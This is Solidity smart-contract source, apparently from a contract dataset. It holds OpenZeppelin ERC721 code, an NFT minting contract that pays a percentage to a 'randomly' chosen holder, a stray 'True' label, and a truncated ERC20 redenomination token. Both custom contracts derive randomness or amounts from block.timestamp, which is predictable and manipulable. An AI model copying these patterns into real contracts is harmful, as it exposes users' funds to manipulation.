{IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract MutantBabyCatsNFT is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 1 ether; //0.065 uint256 public maxSupply = 1000; uint256 public giftPercentage = 10; uint256 public headStart = block.timestamp + 10 days; bool public paused = false; bool public revealed = false; string public notRevealedUri; address payable public ultimateGiftAdress; constructor( string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721("Mutant Baby Cats", "MBC") { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint() public payable { uint256 supply = totalSupply(); require(!paused, "Contract is paused!"); require(supply + 1 <= maxSupply, "Sold Out!"); require(msg.sender != owner(), "Owner can not mint!"); require(msg.value >= cost, "Not enough funds!"); address payable giftAddress = payable(msg.sender); uint256 giftValue = 0; if(supply > 0) { giftAddress = payable(ownerOf(randomNum(supply, block.timestamp, supply + 1) + 1)); giftValue = msg.value * giftPercentage / 100; if(supply + 1 == maxSupply){ ultimateGiftAdress = giftAddress; } } _safeMint(msg.sender, supply + 1); if(supply > 0) { (bool success, ) = payable(giftAddress).call{value: giftValue}(""); require(success, "Could not send value!"); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function randomNum(uint256 _mod, uint256 _seed, uint256 _salt) public view returns(uint256) { uint256 num = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, _seed, _salt))) % _mod; return num; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function GiftPercentage(uint256 _newPercentage) public onlyOwner(){ giftPercentage = _newPercentage; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool s, ) = payable(msg.sender).call{value: address(this).balance}(""); require(s); } }
True
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pragma solidity ^0.4.21; // The GNU General Public License v3 // &#169; Musqogees Tech 2018, Redenom ™ // -------------------- SAFE MATH ---------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // Basic ERC20 functions // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Owned contract manages Owner and Admin rights. // Owner is Admin by default and can set other Admin // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; address internal admin; // modifier for Owner functions modifier onlyOwner { require(msg.sender == owner); _; } // modifier for Admin functions modifier onlyAdmin { require(msg.sender == admin || msg.sender == owner); _; } event OwnershipTransferred(address indexed _from, address indexed _to); event AdminChanged(address indexed _from, address indexed _to); // Constructor function Owned() public { owner = msg.sender; admin = msg.sender; } function setAdmin(address newAdmin) public onlyOwner{ emit AdminChanged(admin, newAdmin); admin = newAdmin; } function showAdmin() public view onlyAdmin returns(address _admin){ _admin = admin; return _admin; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Redenom is ERC20Interface, Owned{ using SafeMath for uint; //ERC20 params string public name; // ERC20 string public symbol; // ERC20 uint private _totalSupply; // ERC20 uint public decimals = 8; // ERC20 //Redenomination uint public round = 1; uint public epoch = 1; bool public frozen = false; //dec - sum of every exponent uint[8] private dec = [0,0,0,0,0,0,0,0]; //mul - internal used array for splitting numbers according to round uint[9] private mul = [1,10,100,1000,10000,100000,1000000,10000000,100000000]; //weight - internal used array (weights of every digit) uint[9] private weight = [uint(0),0,0,0,0,5,10,30,55]; //current_toadd - After redenominate() it holds an amount to add on each digit. uint[9] private current_toadd = [uint(0),0,0,0,0,0,0,0,0]; //Funds uint public total_fund; // All funds for all epochs 1 000 000 NOM uint public epoch_fund; // All funds for current epoch 100 000 NOM uint public team_fund; // Team Fund 10% of all funds paid uint public redenom_dao_fund; // DAO Fund 30% of all funds paid struct Account { uint balance; uint lastRound; // Last round dividens paid uint lastVotedEpoch; // Last epoch user voted uint bitmask; // 2 - got 0.55... for phone verif. // 4 - got 1 for KYC // 1024 - banned // // [2] [4] 8 16 32 64 128 256 512 [1024] ... - free to use } mapping(address=>Account) accounts; mapping(address => mapping(address => uint)) allowed; //Redenom special events event Redenomination(uint indexed round); event Epoch(uint indexed epoch); event VotingOn(address indexed initiator); event VotingOff(address indexed initiator); event Vote(address indexed voter, uint indexed propId, uint voterBalance, uint indexed voteEpoch); function Redenom() public { symbol = "NOMT"; name = "Redenom_test"; _totalSupply = 0; // total NOM&#39;s in the game total_fund = 1000000 * 10**decimals; // 1 000 000.00000000, 1Mt epoch_fund = 100000 * 10**decimals; // 100 000.00000000, 100 Kt total_fund = total_fund.sub(epoch_fund); // Taking 100 Kt from total to epoch_fund } // New epoch can be started if: // - Current round is 9 // - Curen epoch < 10 // - Voting is over function StartNewEpoch() public onlyAdmin returns(bool succ){ require(frozen == false); require(round == 9); require(epoch < 10); require(votingActive == false); dec = [0,0,0,0,0,0,0,0]; round = 1; epoch++; epoch_fund = 100000 * 10**decimals; // 100 000.00000000, 100 Kt total_fund = total_fund.sub(epoch_fund); // Taking 100 Kt from total to epoch fund delete projects; emit Epoch(epoch); return true; } ///////////////////////////////////////////B A L L O T//////////////////////////////////////////// //Is voting active? bool public votingActive = false; // Voter requirements: modifier onlyVoter { require(votingActive == true); require(bitmask_check(msg.sender, 4) == true); //passed KYC //require((accounts[msg.sender].balance >= 100000000), "must have >= 1 NOM"); require((accounts[msg.sender].lastVotedEpoch < epoch)); require(bitmask_check(msg.sender, 1024) == false); // banned == false _; } // This is a type for a single Project. struct Project { uint id; // Project id uint votesWeight; // total weight bool active; //active status. } // A dynamically-sized array of `Project` structs. Project[] public projects; // Add prop. with id: _id function addProject(uint _id) public onlyAdmin { projects.push(Project({ id: _id, votesWeight: 0, active: true })); } // Turns project ON and OFF function swapProject(uint _id) public onlyAdmin { for (uint p = 0; p < projects.length; p++){ if(projects[p].id == _id){ if(projects[p].active == true){ projects[p].active = false; }else{ projects[p].active = true; } } } } // Returns proj. weight function projectWeight(uint _id) public constant returns(uint PW){ for (uint p = 0; p < projects.length; p++){ if(projects[p].id == _id){ return projects[p].votesWeight; } } } // Returns proj. status function projectActive(uint _id) public constant returns(bool PA){ for (uint p = 0; p < projects.length; p++){ if(projects[p].id == _id){ return projects[p].active; } } } // Vote for proj. using id: _id function vote(uint _id) public onlyVoter returns(bool success){ require(frozen == false); //todo updateAccount for (uint p = 0; p < projects.length; p++){ if(projects[p].id == _id && projects[p].active == true){ projects[p].votesWeight += sqrt(accounts[msg.sender].balance); accounts[msg.sender].lastVotedEpoch = epoch; } } emit Vote(msg.sender, _id, accounts[msg.sender].balance, epoch); return true; } // Shows currently winning proj function winningProject() public constant returns (uint _winningProject){ uint winningVoteWeight = 0; for (uint p = 0; p < projects.length; p++) { if (projects[p].votesWeight > winningVoteWeight && projects[p].active == true) { winningVoteWeight = projects[p].votesWeight; _winningProject = projects[p].id; } } } // Activates voting // requires round = 9 function enableVoting() public onlyAdmin returns(bool succ){ require(votingActive == false); require(frozen == false); require(round == 9); votingActive = true; emit VotingOn(msg.sender); return true; } // Deactivates voting function disableVoting() public onlyAdmin returns(bool succ){ require(votingActive == true); require(frozen == false); votingActive = false; emit VotingOff(msg.sender); return true; } // sqrt root func function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } ///////////////////////////////////////////B A L L O T//////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////// // NOM token emission functions /////////////////////////////////////////////////////////////////////////////////////////////////////// // Pays 1.00000000 from epoch_fund to KYC-passed user // Uses payout(), bitmask_check(), bitmask_add() // adds 4 to bitmask function pay1(address to) public onlyAdmin returns(bool success){ require(bitmask_check(to, 4) == false); uint new_amount = 100000000; payout(to,new_amount); bitmask_add(to, 4); return true; } // Pays .555666XX from epoch_fund to user approved phone; // Uses payout(), bitmask_check(), bitmask_add() // adds 2 to bitmask function pay055(address to) public onlyAdmin returns(bool success){ require(bitmask_check(to, 2) == false); uint new_amount = 55566600 + (block.timestamp%100); payout(to,new_amount); bitmask_add(to, 2); return true; } // Pays .555666XX from epoch_fund to KYC user in new epoch; // Uses payout(), bitmask_check(), bitmask_add() // adds 2 to bitmask function pay055loyal(address to) public onlyAdmin returns(bool success){ require(epoch > 1); require(bitmask_check(to, 4) == true); uint new_amount = 55566600 + (block.timestamp%100); payout(to,new_amount); return true; } // Pays random number from epoch_fund // Uses payout() function payCustom(address to, uint amount) public onlyOwner returns(bool success){ payout(to,amount); return true; } // Pays [amount] of money to [to] account from epoch_fund // Counts amount +30% +10% // Updating _totalSupply // Pays to balance and 2 funds // Refreshes dec[] // Emits event function payout(address to, uint amount) private returns (bool success){ require(to != address(0)); require(amount>=current_mul()); require(bitmask_check(to, 1024) == false); // banned == false require(frozen == false); //Update account balance updateAccount(to); //fix amount uint fixedAmount = fix_amount(amount); renewDec( accounts[to].balance, accounts[to].balance.add(fixedAmount) ); uint team_part = (fixedAmount/100)*10; uint dao_part = (fixedAmount/100)*30; uint total = fixedAmount.add(team_part).add(dao_part); epoch_fund = epoch_fund.sub(total); team_fund = team_fund.add(team_part); redenom_dao_fund = redenom_dao_fund.add(dao_part); accounts[to].balance = accounts[to].balance.add(fixedAmount); _totalSupply = _totalSupply.add(total); emit Transfer(address(0), to, fixedAmount); return true; } /////////////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////// // Withdraw amount from team_fund to given address function withdraw_team_fund(address to, uint amount) public onlyOwner returns(bool success){ require(amount <= team_fund); accounts[to].balance = accounts[to].balance.add(amount); team_fund = team_fund.sub(amount); return true; } // Withdraw amount from redenom_dao_fund to given address function withdraw_dao_fund(address to, uint amount) public onlyOwner returns(bool success){ require(amount <= redenom_dao_fund); accounts[to].balance = accounts[to].balance.add(amount); redenom_dao_fund = redenom_dao_fund.sub(amount); return true; } function freeze_contract() public onlyOwner returns(bool success){ require(frozen == false); frozen = true; return true; } function unfreeze_contract() public onlyOwner returns(bool success){ require(frozen == true); frozen = false; return true; } /////////////////////////////////////////////////////////////////////////////////////////////////////// // Run this on every change of user balance // Refreshes dec[] array // Takes initial and new ammount // while transaction must be called for each acc. function renewDec(uint initSum, uint newSum) internal returns(bool success){ if(round < 9){ uint tempInitSum = initSum; uint tempNewSum = newSum; uint cnt = 1; while( (tempNewSum > 0 || tempInitSum > 0) && cnt <= decimals ){ uint lastInitSum = tempInitSum%10; // 0.0000000 (0) tempInitSum = tempInitSum/10; // (0.0000000) 0 uint lastNewSum = tempNewSum%10; // 1.5556664 (5) tempNewSum = tempNewSum/10; // (1.5556664) 5 if(cnt >= round){ if(lastNewSum >= lastInitSum){ // If new is bigger dec[decimals-cnt] = dec[decimals-cnt].add(lastNewSum - lastInitSum); }else{ // If new is smaller dec[decimals-cnt] = dec[decimals-cnt].sub(lastInitSum - lastNewSum); } } cnt = cnt+1; } }//if(round < 9){ return true; } ////////////////////////////////////////// BITMASK ///////////////////////////////////////////////////// // Adding bit to bitmask // checks if already set function bitmask_add(address user, uint _bit) internal returns(bool success){ //todo privat? require(bitmask_check(user, _bit) == false); accounts[user].bitmask = accounts[user].bitmask.add(_bit); return true; } // Removes bit from bitmask // checks if already set function bitmask_rm(address user, uint _bit) internal returns(bool success){ require(bitmask_check(user, _bit) == true); accounts[user].bitmask = accounts[user].bitmask.sub(_bit); return true; } // Checks whether some bit is present in BM function bitmask_check(address user, uint _bit) internal view returns (bool status){ bool flag; accounts[user].bitmask & _bit == 0 ? flag = false : flag = true; return flag; } /////////////////////////////////////////////////////////////////////////////////////////////////////// function ban_user(address user) public onlyAdmin returns(bool success){ bitmask_add(user, 1024); return true; } function unban_user(address user) public onlyAdmin returns(bool success){ bitmask_rm(user, 1024); return true; } function is_banned(address user) public view onlyAdmin returns (bool result){ return bitmask_check(user, 1024); } /////////////////////////////////////////////////////////////////////////////////////////////////////// //Redenominates function redenominate() public onlyAdmin returns(uint current_round){ require(frozen == false); require(round<9); // Round must be < 9 // Deleting funds rest from TS _totalSupply = _totalSupply.sub( team_fund%mul[round] ).sub( redenom_dao_fund%mul[round] ).sub( dec[8-round]*mul[round-1] ); // Redenominating 3 vars: _totalSupply team_fund redenom_dao_fund _totalSupply = ( _totalSupply / mul[round] ) * mul[round]; team_fund = ( team_fund / mul[round] ) * mul[round]; // Redenominates team_fund redenom_dao_fund = ( redenom_dao_fund / mul[round] ) * mul[round]; // Redenominates redenom_dao_fund if(round>1){ // decimals burned in last round and not distributed uint superold = dec[(8-round)+1]; // Returning them to epoch_fund epoch_fund = epoch_fund.add(superold * mul[round-2]); dec[(8-round)+1] = 0; } if(round<8){ // if round between 1 and 7 uint unclimed = dec[8-round]; // total sum of burned decimal //[23,32,43,34,34,54,34, ->46<- ] uint total_current = dec[8-1-round]; // total sum of last active decimal //[23,32,43,34,34,54, ->34<-, 46] // security check if(total_current==0){ current_toadd = [0,0,0,0,0,0,0,0,0]; round++; return round; } // Counting amounts to add on every digit uint[9] memory numbers =[uint(1),2,3,4,5,6,7,8,9]; // uint[9] memory ke9 =[uint(0),0,0,0,0,0,0,0,0]; // uint[9] memory k2e9 =[uint(0),0,0,0,0,0,0,0,0]; // uint k05summ = 0; for (uint k = 0; k < ke9.length; k++) { ke9[k] = numbers[k]*1e9/total_current; if(k<5) k05summ += ke9[k]; } for (uint k2 = 5; k2 < k2e9.length; k2++) { k2e9[k2] = uint(ke9[k2])+uint(k05summ)*uint(weight[k2])/uint(100); } for (uint n = 5; n < current_toadd.length; n++) { current_toadd[n] = k2e9[n]*unclimed/10/1e9; } // current_toadd now contains all digits }else{ if(round==8){ // Returns last burned decimals to epoch_fund epoch_fund = epoch_fund.add(dec[0] * 10000000); //1e7 dec[0] = 0; } } round++; emit Redenomination(round); return round; } // Refresh user acc // Pays dividends if any function updateAccount(address account) public returns(uint new_balance){ require(frozen == false); require(round<=9); require(bitmask_check(account, 1024) == false); // banned == false if(round > accounts[account].lastRound){ if(round >1 && round <=8){ // Splits user bal by current multiplier uint tempDividedBalance = accounts[account].balance/current_mul(); // [1.5556663] 4 (r2) uint newFixedBalance = tempDividedBalance*current_mul(); // [1.55566630] (r2) uint lastActiveDigit = tempDividedBalance%10; // 1.555666 [3] 4 (r2) uint diff = accounts[account].balance - newFixedBalance; // 1.5556663 [4] (r2) if(diff > 0){ accounts[account].balance = newFixedBalance; emit Transfer(account, address(0), diff); } uint toBalance = 0; if(lastActiveDigit>0 && current_toadd[lastActiveDigit-1]>0){ toBalance = current_toadd[lastActiveDigit-1] * current_mul(); } if(toBalance > 0 && toBalance < dec[8-round+1]){ // Not enough renewDec( accounts[account].balance, accounts[account].balance.add(toBalance) ); emit Transfer(address(0), account, toBalance); // Refreshing dec arr accounts[account].balance = accounts[account].balance.add(toBalance); // Adding to ball dec[8-round+1] = 